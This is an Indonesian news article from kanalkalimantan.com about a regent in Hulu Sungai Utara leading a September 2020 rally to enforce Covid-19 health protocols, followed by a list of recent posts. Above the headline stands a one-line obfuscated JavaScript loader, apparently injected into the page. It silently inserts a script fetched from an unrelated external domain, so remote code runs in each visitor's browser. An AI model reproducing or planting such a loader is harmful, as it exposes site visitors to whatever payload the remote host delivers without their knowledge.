(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bupati HSU: Masker, Mencuci Tangan, Menjaga Jarak, Menghindari Kerumuman


KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK pimpin pelaksanakan apel tim operasi penerapan disiplin dan penegakan hukum protokol kesehatan Covid-19, Rabu (23/9/2020).

Apel diikuti personel Polres HSU, Kodim 1001/Amuntai dan Satpol PP Kabupaten HSU, dihadiri Ketua DPRD HSU Almien Ashar Safari, Dandim 1001 Amuntai Letkol Inf Ali Ahmas Satriyadi, Kapolres HSU AKBP Afri Darmawan,Kajari HSU Novan Hadian.

Bupati HSU selaku kepala daerah menyambut baik dan mengucapkan terima kasih  kepada semua jajaran pemerintah daerah, para tenaga medis, TNI/POLRI dan semua pihak yang tergabung dalam satuan gugus tugas pencegahan dan percepatan penanganan Covid-19 yang selama ini telah bekerja keras.

“Protokol kesehatan  dengan melaksanakan 4 M yaitu memakai masker, mencuci tangan pakai air mengalir dan sabun, menjaga jarak dan menghindari kerumunan,” kata Bupati HSU.

Bagi pelaku usaha harus menyiapkan sarana 4 M yakni bagi karyawan dan pengunjung yang datang.

Apel tim operasi penerapan disiplin dan penegakan hukum protokol kesehatan Covid-19, Rabu (23/9/2020). foto: humas polres hsu

Apel  tim penegakan Perbup No 37 tahun 2020 penerapan disiplin dan penegakan hukum protokol kesehatan sebagai upaya pemerintah dalam pencegahan dan pengendalian Covid-19 di Kabupaten HSU

“Bukti kesungguhan dan komitmen pemerintah dan masyarakat bersama-sama melakukan pencegahan dan pengendalian pandemi Covid-19 di Kabupaten HSU,” ujarnya.

Perbup  No 37 tahun 2020 merupakan tindak lanjut dari Instruksi Presiden RI No 6 tahun 2020 tentang peningkatan disiplin dan penegakan hukum protokol kesehatan dalam mencegah dan pengendalian Covid-19.

“Kami berharap tim penegakan Perbup dapat mendorong masyarakat HSU, baik perorangan, pelaku usaha dan pengelola penanggung jawab tempat kegiatan fasilitas umum mentaati Perbup dengan penuh kesadaran. Sehingga dalam penegakan hukum nantinya tidak didapat masyarakat  yang melanggar peraturan ini,” pungkas Bupati Wahid. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

13 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

13 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

13 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

17 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

20 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

20 jam ago

This website uses cookies.